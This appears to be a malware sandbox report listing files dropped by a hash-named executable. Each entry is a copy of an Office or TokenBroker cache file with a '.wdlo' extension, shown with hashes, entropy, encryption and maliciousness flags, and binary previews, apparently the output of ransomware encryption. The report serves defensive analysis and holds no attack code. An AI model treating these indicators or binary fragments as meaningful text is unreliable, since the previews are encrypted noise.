Preview:	<Rule..%[...F.U....i...!.1..D....>..N...EW<..f.. ....y[..5....L.........k...A.?..C....b.9W....G. RQ.5...gS:.k.:6~....>?.T~^.X.."...aB.q0.L....J...x.!kj......#...HY}!E.E.U.0...}.t.....C5..#..0.../..&.. .p.t...p..p...:..Z..].5...,e.'.....B...?.D.4..+.....)\F.JN.8..'..F+.k.}O.<..Yd..Q-........<8..TX.=.wc./.Q....q..kwY.\|`......Q...%....N....e7..%Q.'.......T....Nb+....<.n.....(...hqxj..=..O`...Z.....2....)...*.........oFH\|8.\|0!._..u.@...{1...S.zc..-h...3....\O.~.:=...n...V....n.W[../.........y.V..~{Q..O..P...h u.........AonY1........... .....Z.\|.,.Pw.<......_`..2...B.....6......Q.Ci.i4.B.a/..u../..Bdzr..D..4....3..%.}Z+Ld..5..DM....[q......1.Vm.m...."....`...b....a...M.\|4.x....]...d<ojRH.k`.....\)..]N.IG..].'AN}.\|L..y....b.......#_......@...Gg`&d........d..h......J..v.B........P..:(..t1.HkPi..'..,.RK?.^U....o.F!a...p..O.}..~.f.7...S+........:.....C...)...p.S@v=Y.3.!..jZ&.N.......-....=X-2.4R.W....c...Cd,j80.. ..(... ....,....

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.794583797297239
Encrypted:	false
SSDEEP:	24:yWjCsHRGV/XoIX/3D7GiAdqXCs12yMoeANzKzoh8ez0a3zbD:MsHu/YIX/3uLgXp12yfeazAa3nD
MD5:	09B0328765F32452198D991865539DD5
SHA1:	6D2D033DB2E9CE763BD7889777C3A8D25FAD67AD
SHA-256:	489DE39B2E879F3140F7F8436ED2867CB0A8E195367127218846A1F9F620D069
SHA-512:	180F9C3C02BD8CB9362D4C7E1327D4B5652C540BAD1FB3B2542E169A1CE04A2873BCE26205253052BF4E6B9EA60AC2AD90538C643B8FF03F2487684EAC63DF59
Malicious:	false
Preview:	3.7.4.e...[..?.2......R.a....'G.Q..RS@.jo..iw......<W./......A.s.,rzP.`.....:.....R.kmUQ+_.z......J&.].N%7T..SEi.H.7.t,...4...DFo.3.K.7..D..$..F.+.N...v...s@.....m.0$.".Y.......G....^.-<.g.....K..1<U.!...KN......\|...v....)f.#...tD.......4.p.........V..{..b....m..N........R...E...-s..(.d....k.U.RbI.0.o.. .;E..)..+..cn.\Jb.V.....C.1..d&......E......D'.c.k\|..o....Lcc?.N.G.OE..r"...'.E.....i.. ..p.A(p.f]_........u.3.%J...w#.Sc......k...[Ph.j..7_gd6R._D...!>E.(.h...K~.L...R..fz.w~h.n.LD.).]B[lS......XZo3&......."..4.....>..C.^.E51..w/....C'.R C%.......yY...v+.3c...)N..VE...%..X.#T..b..pCh..pu{...':..(!.......b...+B.a...c.U..jT.ho....5...Z......T...N..... <.6..o..=r...7. ;..O.....C...w.....<HL%;;..(..]R....fS......1.a.vN.b..x.f..g..u.m.N!.o..C}7.8....1N4...j..J..u...=...C....X!.7..[..?...6.C1!.J....>....~.m...o....7..E...z.W......N.z.....b.......\`.)..ld..<...KL.b......h{.._1..!.j.J..q..O...Th\|P........4u.L..G....T..>..mo....N...........lo8)B

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9935468083935035
Encrypted:	true
SSDEEP:	768:xflINTe4uvUmn73HDJCjm85PdB1IVzFhH:V8VAn7D2PdBiVzFB
MD5:	B879AE1AC7B6FC774CBC06381986332B
SHA1:	F1A9BA04D5F4136804D38FCBCCCCD9B592B7B97B
SHA-256:	59C5C37DB7CA1FB72AB2A3B5862FFE3047202100A20C3459D7B8FF35A5AD9088
SHA-512:	7204A21B4FA0DA50527F32BB3318F410D4657D9D83879D985CD98D6035EE241E324B62ADD3C098D0BC4650BCC15CE70ABE4E5249C9520BBF2D515370049E0552
Malicious:	true
Preview:	SQLitpl.m.D.:.e....W.a(....M.1P.Aa.....s.!:_a...?>....`....O,w.Dj.[....$^....0)...x.:8dX.\|.b../......g..v..."Q.....%h....G...5.."R0PR..z..2.h>.g<<...9,.8k..).za..o.........}.h\|.....DUC.x...xph...rqz....3....M.....Zs...%7...=I,.P....Y.zf....W...hN...(R.Q. ..}....1..w(hP...9.".5....mc....i.go..k6......l]....=....M....k!.......Y:.0..`.5..N.^..ukb..T'.....G^4]...n......@...Y..J.0...o.V..O...U_i.QE......&ERO&T./.6..y:.U.-TS......!.R...;k.6....0F.4.#4...+..y.....L..b...M..?....=2......j..K...(..K......v$>...vZmm..z?:..D.B...$.y..z......W.l..L.h.:....6E..D....4\.P....Y.......P.K..n?.B..U.q.Q....\X3...y.w.PF..u T..\......R)%.9.d"ZB.>K..+q.:.>.M.........8.8.<l...O...u..q.F...G..$I..}........w.N1wVJ.C]....C..m..k........S.Y.>.lz{..aqe\|.h...D...-....B-..\|.&...%LZ.......=....G.vc@F...P.}$..Wt.\|..T...........E. ...GH<_D...6y..pr..<S.3q.ET..1b..b..6.......vY:k..?....n...j.......&......(oN..=.K...,.Wl.j..\|%..m".-:.s$q.]......^.X}.~.0.i.O..........>.]...u..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992457261522609
Encrypted:	true
SSDEEP:	768:Ee3/y5vDnzeDvSxJ9CY4hi6kI+DToMB7+:k5riuHC8xI0os+
MD5:	6C1157D4DD364493A0248B9CEE200AC0
SHA1:	56ECFF4FF2DBBE38FAA9E4EA35D77BE32290C38B
SHA-256:	9C9939B338EAE4BD4903696773FBB0B0A0C4DE74BE9384BA4A9580E426464F00
SHA-512:	CDEE51152B96708984CF0E03C4FE1C343114766193665A7A75C8274A78D926BB4D3692678F7CFE0A0A863BB8E7FB153CCC7BF6F762056FF46AC2340929C44AE3
Malicious:	true
Preview:	SQLitiH:.-..m..._....]!d..@E...x...Z........F>..Fq.q...p.......{.z...{?FZ..y...}....J..+c....3.hhz.r,....q..<......z..O.4.%.s.X.....l... .2L._.L.5..8.yp,....z-..c...$....7.GFd.=.....9>..kA.w..g9..5.B.?...'.b....&.....K$...A../E.Q.f`..{`...ti%{Kx.}]H.._.).....o...}....8c{...v.....R5..n>.W...........e^WlB{zIlBi...\|..=...].:.w..Y.H>I..e<{..O58=.5....R,..!u@X..Wx.Wx.@........&..{.k.-..V.;"e.0...L:..raU#._.<.......UB...8.4....\|E.:..&.L.)......N....v...A::.H....i....W.;.....%..._....&.......`.g........g..$.t.d@."(.FF<....W..o#.^}.[..e.....\|...S..%u.....:..j....9.up..,.Ub..../..:...Y..._."..)..../..g<..<.Kv3.....O."].^..M....o...h.b%.Ol...y....M}.k#.bR...N.....H.Zp..;.(..93]..4D7....s..;...R...{b.+=....\...$.$.H}.......h.....P..^..p.S.z.U.......#.T...PV..].&...)c."d6.....<.:..M..@....4U.....p.?u...`.`..j...`..-].R.#}%@..Q<..=2Z.F.M......b./...X.?5......S...g\d.!......]..4.....:.<{.G............K.....j...d..ga.i!....,...q.L...3.5.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.994241198016258
Encrypted:	true
SSDEEP:	768:zbczUzCE7dUgl8IGa+GX5g7We86pPAl7UahKyDCJT6:b7dv8IMO9e9polgMYU
MD5:	45B80023F8A3AFBD2E8BA24D9AE11FEE
SHA1:	B739BC69359AE82DFFF5D60C20B5106C13A1EE04
SHA-256:	DD621732F5F9F0940C050B8B4E799053D4EB281B1E5203717BC8610CA5CC24A4
SHA-512:	1965AF105E358EE9FA2979074E1279BA579E480FC3E688338A9A75BB37C6145A52343A06642427AC902F0F287643E24637C2070EC0FF3D51D79EAFB3E3C4A1A7
Malicious:	true
Preview:	SQLit..0dl7..M.B.m.F..b....i..........w...;........D..@..........H].'.P.I....^.~7..\.2........'..M.t.I..NS.Z..50=..17.\|.-lW.X7....%A0S../......'t.o.sN.....W...).\...."....:......~...h.r...R...j..X.^.U.lr=.S..5V..F..\.A_.D..V...8!IN.0......x..Q+].%g#F.....~Oh.4o....j......L..Lhe...D....k~$!S.@t..F./.H:..Y.j..3......I...udeY.F\.zS............U#`b.\|8.$+.............3..{.q.f7O..0=.....o0..T..ZphQ.s....#......"C.R..OInk.....O..B..`.!....XY...0.....P......%.+.`.e[..=-...n.oX.`_Y...Z..x.....:FHF...Fs.s....n.....[.>v . t...#.<.0..FU8...4..K...E...x.<+&\|.]'........@1.O.).xyS.Gc.V...$.#.....U[.......\|bIxB...3.8.d..>...L!..D....Ez.......a".`Q... .i.~......A...U_...;.S......NS%)..N....T.@\..l%....RX.R_a..~.......X.=...I._.h......XU.2.r.....E.......1.Y.%...I.'......<.[v.b...=.~%.....4q...R.H...v.%.....1.M..K.q>.-...g.[o.I....../0..i.^..9"..@S5oN....p.U.c;....y.).0...%.........H..5z..Q......E#....Af.H[.....9........O.\......!..G

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993051233982991
Encrypted:	true
SSDEEP:	768:Fcs2RLBokbXEyFU7Npy3el51E5kZDZ2WkY2:FkOkbUyQNs3elakf213
MD5:	25120FF15FF321881AE0BB384230D090
SHA1:	19CAA8A501ABE7F07770747615550806631D97BD
SHA-256:	DEF000691B8DF76615A2E83B85D147BFAACDCE333965EEEE2922135B413B0E8F
SHA-512:	053F06A19100DBB8ECBE32D6518128FAE55AC99454B20C0C211AD5AE3C7857D6A44C90880B589E07C5ACAD75DB57C7EFC8F90D62E00976299020622E584BD7A8
Malicious:	true
Preview:	SQLit.jJ&t..w..o..&.;../..G.5..EZ{.....ZY0.....Q.....P..4....`.a.]b..pj..r...:.g..#.."#@..b..}P......4.....x...Y...N......kaJ..&l.#........dN.5_._..N...:GY......q.....:.s........\..."..Q..h.H.Z..h.M.~3.....wu......s7....A..JV...To.....@.f...JI!S.'.E..2nU......u..@Xp..-...is....[.....;..$.A.-%.rS.[.....>.o...RU.v...~.....I.;.!z.!/.....`..Q.%........_..4,.zF..`c.SSU............^;I).;3/.O....j...gn..}...p.K8..]Z........:;..L.F...B.kTJ%.oB...q$.......R.g.Q.x......^.d.._.@.@.N..@.r>C.....<1..}:..P.E...h............r.r2(.{...:....?...A=...7Yg.$2cSQ.}......t..I\|m..../..zbi...9c>.v1cN.$W>\k.....z.ks....b....I.W.;...).a...BG.P.<.>...\O?C......(........N..L.E.Ta".Y.....VJ\|.~$j.H.Y....E.\52.S..D.....+.<_..k)......x}.T}\2RI.Ye.bB...2.g-/.B.\..!.....*..>..E..B...c{L..E_.......d..fNdB@.4..{..ec..jc.XS!..X..)..gUl.!Z...1x.. C<.y~2...Yk.:{...C.........u.8..S....l......!j..^U.}:NRS]"Z......:4...W..s.3.......5Ab..1../........(..k7.f....

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.856022862993601
Encrypted:	false
SSDEEP:	24:YwcDS+zjWrLyc2t+67WUL5rzPwtjelzYfNy77CQ3PWmYBWahm9lt93zbD:YphzILyBWULlzPDk0WmY4ahmfP3nD
MD5:	63647E74803FFA57BDCB3E4E410ABED4
SHA1:	A86C697366F6649822B8F3D33759DF4313751996
SHA-256:	5482CA7E3A178EECEF33CD6269DC12FF91F795FCCC6C612A06DAD6D4EC36CD45
SHA-512:	929B8506F81D97587A1FAFB0A13CE077FAFA7D74E7569082B5E057BAFF6F8C36248AD94FA5CB61680F52B37D481B8DBD2A37CA21E6407B86C16FD70963F5B0E9
Malicious:	false
Preview:	{"Recy.uu..c.}ic!...5#..g....B.IL.....r.eN.F.N.r..(.K.U,.....j.[.3\|...(D.$.......@..eo.....x.7.U..jU...o^.p-.G.\|N..7...\|.[...Q..e7{&.K.V..)c......O...b7.E....Z#.._..A]I..-5....}.u....vt..\.....3./Azd!...S.q;.....I.i....8.k..5V.'2...........KzN...^1.A.c....fk2.e..5..k...8...`..}{..W.\|.qkd..7.....S.....e.jw..u/..&.-...G!.w.\...B...i.o...EV7.Y....0..o....i.....OI.. p.Y.<..p.tr..mX<....6._+..'....,.<...E..O.7....&.\q..\.;.....l ..{l.DxU.T....u....C.>0G.X....".`Nv.`..T.n.;.}..Q..w._...4F.6..j...t.&zQ..#..... O..UN...L.p......E....0v.H....QU....Pny`?..c..<.B@z0u..r.t]...-.\|.{..&}l..`Y..eYS4#.q._.+D.....'.....6>.....2...Q.....;..z.[.Bx....P.8`N..$.....m_iu.L.x.&P.V..]...4N.....%y.w..jM.!..#..S..H.B(...=.1.X.Q...g\%.H.^.:bngo.!.2..j,GJ?{s...&=\|Clb.(...T..~.....>B..A..t....Ll...&..G....8..D...6e..%...$.....gV..{.e...@.%G.5u.W.z...^.T..X...J".'.?.....`_...._,.C.9j._3;.!..h..>.\|@.!..G....<.vI..~.w.s.+As......B......Y.....L....~7..J....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926524803071262
Encrypted:	false
SSDEEP:	48:ckQFgOXGo5T4cxM8T6DCgIZwkD4dc7tK1SusnKKizOJ1KsHkQAdh73nD:cLbGo58cxLG9bZSusn3izOXKsEFT
MD5:	FD68E33B883801653BBDE7B8ECB0CDA3
SHA1:	1208720F3E998755373A252810B3CF51AC0200DC
SHA-256:	56B1565B2DEF5BC6863CA42D1B2949A9F2F73F093ECCE14789ACAE1AC25C4F06
SHA-512:	61F04680B5E501698CD0D5FB2975BA8F9D4BC892699CCBFAAF583B1FF27C89F772576C0000A49812FDBE0A89BFDDEA4988AE498D07E0C339DD98153CDE1053DC
Malicious:	false
Preview:	{.".T..=~...q[<...T..u..._.\|k..jH..0^....i#f..&..+._2......3.FLP..`..UL..c.p...o.m...H.:...s....8~#=...<.......c....q...A....v....{%..,-h.Btu.9/......M.#.].Z]...#...z5.....[.0;q....'-.AAn)2...X......3.5.`.g..].5.....!..&.@.O'.]..}.,..a..n..F.........iN'Y..J<.r.t..U..b..h.B$...HAu.".._yt.N.`&.....Q2....9/.M^..9p_...c....2v.....n..%.!.2...s.....k\|.....4..F;..ze.!.F.+"m.k..\|...r.0...}.'.5.(..:v(.h.07..[;Cv.j..9....{....f..3........U{S[...Pi.y.>.'....9`kP.....4..#r .+g..y......8.9.Z...VG.u.i.>S..a}.t.b...f.....}.....&H.B..X.Hzt..Am.&..]...E....WG..\.].B.R....Z..UC.O...D7.8\Qb.)O.l...)..o..eZ!...'.).To#...-.v".V{.....\d.....g.>T..>.6.sm...wCU...GP-v'z;M..Qa1=U.p.v.5[......J..(.hV..c..ud.J.mb....^...kq.......%#.Q.t.....q.....w..G.,A..v.k..._j-0....r}.....^a.M..%L.3)._%#^.(...`.x..K}.z...X.A.}.).6q..+C......e.....4..%x+2.M......H@ .."..z......e....I}Wd'......9..!0~..,..^..y.$.)kA.....wN..............e.....U....".#P...q..M.G.y..<..K...".

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.936327324914745
Encrypted:	false
SSDEEP:	48:F5a2FtRDvwnYXKTcfo5dHHvVAyEBTA0zJ6g8nk/Dj/3oSNj8Yjs10uWo3nD:F5a8txqYXKTNdvVAnBUGL8YDTDgKC
MD5:	9D6235AC061027DEF30D6E9E4C390191
SHA1:	58994A7811A0FC2AA23F568D60683C7F21B0A855
SHA-256:	6BD2281C8AA94FF946CEB443365AE77643E6E1D4D375C2EC60FAE5A0C753FAFE
SHA-512:	A29D9FE7251BA0738A86708CFD915BFB6F60C2669F13C08C3B3B964B6E2400F690A16D89555D18FE5B7637F1F4D69DD939BEF5AB34BCB3B0B58E4DF6EF01CDAB
Malicious:	false
Preview:	{.".T.(.......9....CNPC.6.u`...}....FtPq..Q...-..,....=..t-.?....r>D....%`.- C..Y..r;..G.CP..J.~.L.!..,D...,...%..ct h..;.}$.v0H .....R...G4.M:/.D.........l.x.N..<....^.C.... v(...V..9?..8.y}..O..z@Bh...w.Z2.u....6...%.q.<.H.........Ess......S...o.<......c#....Df...k\J......p....>....)k....../.<..;-..A2...G....[^..,....;...e.R}.s....C...q.h}%.{...e.F.#&{..?.....[....C&..c.......RM.7Q............</N...zr"........Z.xm..Q.p.ZEd...V^a.E?..<.d......3..d.{.`.m.....e.f.O...w6..9.f.=...41..I.?..1k...n..OnP..^.w..X7......}.......8......J..O..C.i.n.2.e..U...G..`.6.3.@.X.Y..E..^.=-.g...aa=,..G... ......NF...S.......K......O.m.X(sa.4WF'Z..W..IU..i.,..lR.....J.B0ZJ....6c9ub..10.\|!.....~....Q3..v...T..W@.yx-.+3@s..b..Cb..'..r .>...e..BO:......Q...?...x...zS..p.I...F)..\|.>.P?E...y....T..[.A......gf........LdM.el.A.A8......iTo.l._.....>.\t..my.i.k..>..t.r)....&..!>V...7.z...{.<o....B..I.[..H..\|.)..1...uo....i.J.S...{.../..S....D....G..AaeY1T.]m..!..A...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.922707813273156
Encrypted:	false
SSDEEP:	48:nbjpQGQAg+YZjytJAY/ioxlxUbPfmx+CD1VtBOAikHlmG5DN8J6RA2kN731A85H/:nbeGQAg+YZj2F/Uhq/OCN84KhN7K85H/
MD5:	C77B600B5540328074CF45610E61152D
SHA1:	358CFD1C7524F9625918CE1E1AB433178D63BD91
SHA-256:	5D0F1AE2B02467D940602A4311543F9043034ABDA33F70EF537AC348DC2D6788
SHA-512:	9BB706CE9D9635A51EC911BBAF71971652FEA44FE91C5B5723B7136A817D2410016E9A3B2CA4B531C3B0900AD16628814CEB702510A3E4A6D88EB6B099FE3C3C
Malicious:	false
Preview:	{.".TC.+i...`.:.o.X\.B.....Y....M..'.C....u.].W7..%r..0l.E/..}.h.&.....lb".W...N-..f)...a...z..M.{.Z.X.[..~$X.K)...2...Q.?.....L."...\|_..#N..q..G...j....t@..#klF..._c.#G.4C.............?[ct..Y...&k.#.) ....m/4....@.y...Se.c....F..w..d.......W h.T.`5...l..U..).X1/+.?....VT..".....V....m4.......f....D1.).\|yK.}A.......8.JP3./A..s.7....I........@...e.e.>b&....-/)......./.Ju5:+...V..%..\.....JHJ..Cu....I3>.....!.E.M.b.^...L\|......-B.@.X.1....h.-3B.q.W....T>{.qX..k....B.....m).'.a..S.i.EVrD{.F...I.cy!.bf.....J.$....N...{Em..S..`. :?.7..(cn3..M.(..^l.u. #.N.l...G....t...\..^../..%V$.7....u. .2b..4H.....$.......w?(&...=..v.7.\|....%A.....6...7pm..../..X.^.8X..7...Rn........mg...k.4W..T... +..D......L\.E...k.W.......F...BZ.w.... n.).....B@/U.O.....$.]T./.._.'._=...<.]tMq....g..3...u...-.:....-.q..'... ....i...;M.\.uD......n...m.U{..\|.....v..$.....@.up...Z..Q....`.$.C........M.q...!....x........g.Z..I.V..{d.i8........G... (3...T.Z<Q.. .y.*.bG

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9285246634849065
Encrypted:	false
SSDEEP:	48:bnp91temixmIcYw4tLir8fwb2jJNfvX5CultbGael+c2GP9pbz73nD:bfLigfYiYYb2LH5CYtCIc28z/
MD5:	984CA80D19F5936312BC9C5BB43A9B2C
SHA1:	5CCCA64D78576A5ABF5CE90DF54896A1E963FCC4
SHA-256:	BDD7A9B5E2F2A8482E4770B1CA05F9F8355C63EA705DAD3EC87A7B787A285387
SHA-512:	E414E0B6B0077DF695ED7C9ECEB997BE19B15308BAA36AF1838F33F28745B99742DE5AD678E86BC35D47B8DB4B27C7F8196B67930C791FB6B213AA8CE8CB60C7
Malicious:	false
Preview:	{.".Tdy..w.W...I.k.4.(..T...Q...u......oa .f!=N...$a.6....~DJJ.$M........i..y..&@...o..B;...H...).,).e.x,..81...f .u.R..k....wG.7....a.A..S....+...I.X....ra.]..j.sM.s.......@..WD(.v/5.^...be...}.....&..+/L...z.....x=.......w.W.^X..\s..<...:.w.\....+.6DM.1..VS..^4.....Q.UA.c7.0%...[C.V....8....M{....cc..HJ,.$.<D..}....R...'..xc}.Dh?q...FH.rG..P>.A........-...`)..\|..+.8C'.K.+...n../...YS6Iu........o..<.D..$..d.OC@%.{RC....1d........Xv..A.....5.p..".;0.4..U.Q..w?uQH..~.n...R].\|.....h.....6.EA..j..^.+3.w..dV.?i.\...B9.3...y~..h..{.4.1U.G.c...s.2.]w]..Pr......l...$/.J..I......_l.Q>..+p.,..bi.c..zQ^`.za..m....>...3...I.{.S&.W.D..h.A.y[C.....~B..+.(j..W.=.m.P......S...>.......A..:..i',"?.qr]..8....L..Q..d...x........=+......s....lx.G0...z.p.4U&J..E..h#..u.-IJn.c.g.j.....&...Y.)rB...m..>.B...3Xj.5.NJ.=..../..f...&e!.....G..0WY.B2.6.1.N..+.\Q.P.P.&....p..s...FZ.;.q.$....'......;..<H&...2.@.(y.I..o.qyqKSpw]`... ..{.LCm...\v.7.x!.....G..X,,(

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.961182280104076
Encrypted:	false
SSDEEP:	96:tE+N4CH0Qjcd0i8NOZ+0QzaPfk6rGI/hexIFfjViIsAioPdxvj6sM:tVxESOQzAGohexbABvj6Z
MD5:	1D2D8C6E3307F730A1DA5D5A8C947003
SHA1:	3D41DBDE699CE2E57E70D718B9657C45DFFD15C6
SHA-256:	1A10A1FE20346C1FA280607D2D428EC1DA2B9A4D5A8DBF5D19661C92CE7EC14B
SHA-512:	C2C0EB41A923F423F7F748DBE613F08ED199A98EEAF4A9493DA6E7FCE2D8E03206FDA48BA701781FC4979AABD9610AD4390E3CC4BC9D343527CBD6899A49714F
Malicious:	false
Preview:	{.".T....h3.?...Z..:....3..\.=D6...E.<#J....jY\|.;....._.........%E.P....O.c...Ww+r..V..d..-.!..0B...L.V.........@..7.x....Aq...x..$V'.x..4...!'~.8...I..SP.I-..(A..U L.}..L.q~...h...9c....w!My6.bK....._.i.1w^.2N.k...k.L....h..p..~..b6.......r[.c'p..VK.......O,.t).K..}GoP..I.%.....(.xUx.._...........@mo.)P4....$..M.pqbe.a...Ho...T..T.A[.T....h..A5.9..2..O ..c.=..k 5.F?W.6x..z...._..>..{..o<..I;..K&q...V%..6..:..>0.\"p...W}\|Bd`0....eR').r..(.=/.]R....61b....J\|..J.&.^N0.~....`.-E.hMd.@...[.t0....7_....h...D... .U$6....I..!....;.<j..>...{...">)....\|.S`..n....#.]L..........@.?..ND..Il...4..}.B..""..R...Q.?.......x.v...F.A.\|.........k....D.8..@'.i;l....hco....E9.......TA 9@..H....bK.;...\|.Z\..c...Y8e.......$..}u..E......F........1?!.....9P...C....[/u.e&..#qx2.l...=..LN..w.....+4.^.....3R4.L..q..w9.Sd..-0.......t.:X.%.X[.:..x.M}..AX. ....E]...*P.'..EN.... ...0.Kt.+4...d.l...D.....^.^..l..N.h.........eu.0:.%.D..:...(..S....]].!...nrcc?>0Ys.....D>..N.)

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.944454631554341
Encrypted:	false
SSDEEP:	48:O4kkMKBWeR4EopJKU924BM6EtTaBSFmoUQUAKrx7acINAOkxfBNxA96xEOI71yjT:O4Jw24EovKaJEhaBSFm1q+ucINAOkNBR
MD5:	B297FFADD44F7F45611F0F8E2ECE5A6F
SHA1:	E8B02C4071F05C58969024716B91C0D2EB062591
SHA-256:	24F70B9F51FA926DB1ED551254FF7CC64E13CFC88752CDE41C78293F3A010107
SHA-512:	FAC2A3FC60D6C7E5595E740D466A56B3C874508E2F6589438746BC2D0034726DDC38BF02D5959F1B566A0CA952F1810C2A759EA972C4BBF5E5E697B1E961996E
Malicious:	false
Preview:	{.".T.C.dG...5j..U.'.d.?...o.V.T...~e..$..?B..]2.FY.....0b...0'.`.....i.....O...;&k..q..XD.^....../.r......%....e{a=...J..D....i.......O.0..'..%<.k..6p.VV\..P&....(..(k`..............,.........!...N....V.....L..Qm........./...<l4..xH9~1A...5W..m.z....4..v!. ..`.(i....?n.),C.c..(.N.V...F+.......]..)..Xf.[....ce}y......#.....6MB...H./Ov)Jy..0....n..i....@j(!...kU...I...l..2..\|..!... `..R.R.m}<k..R........+.....u.....'a..b=Pz..y......@x..VW..E...g.W.c..#X.6.3p]7. ....Q._t..[!D.A.3....b7....I..o.V..OPN...S.8...#..W.\D.~.otK[`C!......n.._.!.(IY..........=\r..$..4$.r..$....<ho:..l.o...vD.S.k3.wB...bsDy...c6......._.{,@.s.\|....x.b.+e..E..;GQ.Hq&M"......kG.X..z-/.....}.\| _..a..;,(/..q.9R.>....RTV..:.mb....o..........YQ.B.l0.....p.wk...oxBaPL/a..2..k.....S.4\...3&nP`.%..;=.K..fY...(..c...}..x.?OI..)$90.3z...%N.........5...r......V........$4..d[....$..!'....KHg......l]..1.F...7,.8.3....$..ru..^.....5.d..B...068.9.....v...E...L....._.\|..M..JZ.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930933178685246
Encrypted:	false
SSDEEP:	48:1OkeuYgwRfOS3xF4uJxszRfdeIDXXaQ3QZc/8kgqpmDt/6babX//cgg5C93nD:FeuhDS3/4Y4deIDXqQ3Q+0bqI56mbHcY
MD5:	2468B151F42AF78FF5335C8DEFA0C82E
SHA1:	338B1708F006F5CB9644BDC905B7E279514C4D86
SHA-256:	E3BBA1D9E72227D50D131C5432CEF56E7627B19077A972DFF1FFA9D22CDD611E
SHA-512:	3DF77A5697908BFB1AF5D07F2C565E5A1046875F20C6ECC145F62842A9F302AD5ADE5B9EEE8D0EBE260D3D8928CB333A1951B5701A951F6381A960E2B9ADF951
Malicious:	false
Preview:	{.".T.A..6`K.dM....Z.qW-Ke.........1..v.g.c;M.E$.....T.!I".B...8.............,.^$.....O.u1."B...D..s.[..o;...p.m...Q..`..+...8......Z.\|..j..g]=:N..F.T.....b./.Q.M..&.........."i.R1..'....%.c$..>...y..E.l.....K..%.v\|..(.3..Z9}.h.....:. s..v(-.......%..uo..E..&&(...2."{3R...).X..O/...]}>...fR.T....p3=..?......P..Q#.X....F.h.,v.%.5fr.g..L....\|`..+...AZ(NR@.........{r.#.F.OT.....8.[.N(.aH.........<3....U.......n........R0.M....-I..\xs..[.....1e..m.......n.$J.S+..~V.0r<...bOm........7.>4S.+.C...?O*@...K>...0v.Wy..q4.....L.e'.......#..`..<].....+p..2.Q.JX.R.:...4..r...:.'f....qj..V_W.b{...O...MS...9P&.Bm.O.....\.L.....W&Rc...Pt...V...~mW.....D...^..B.N+.(............?NJ..ez".r...D.rHW..e...7....^;.!.N..z.....C.^/}M.L...bZ 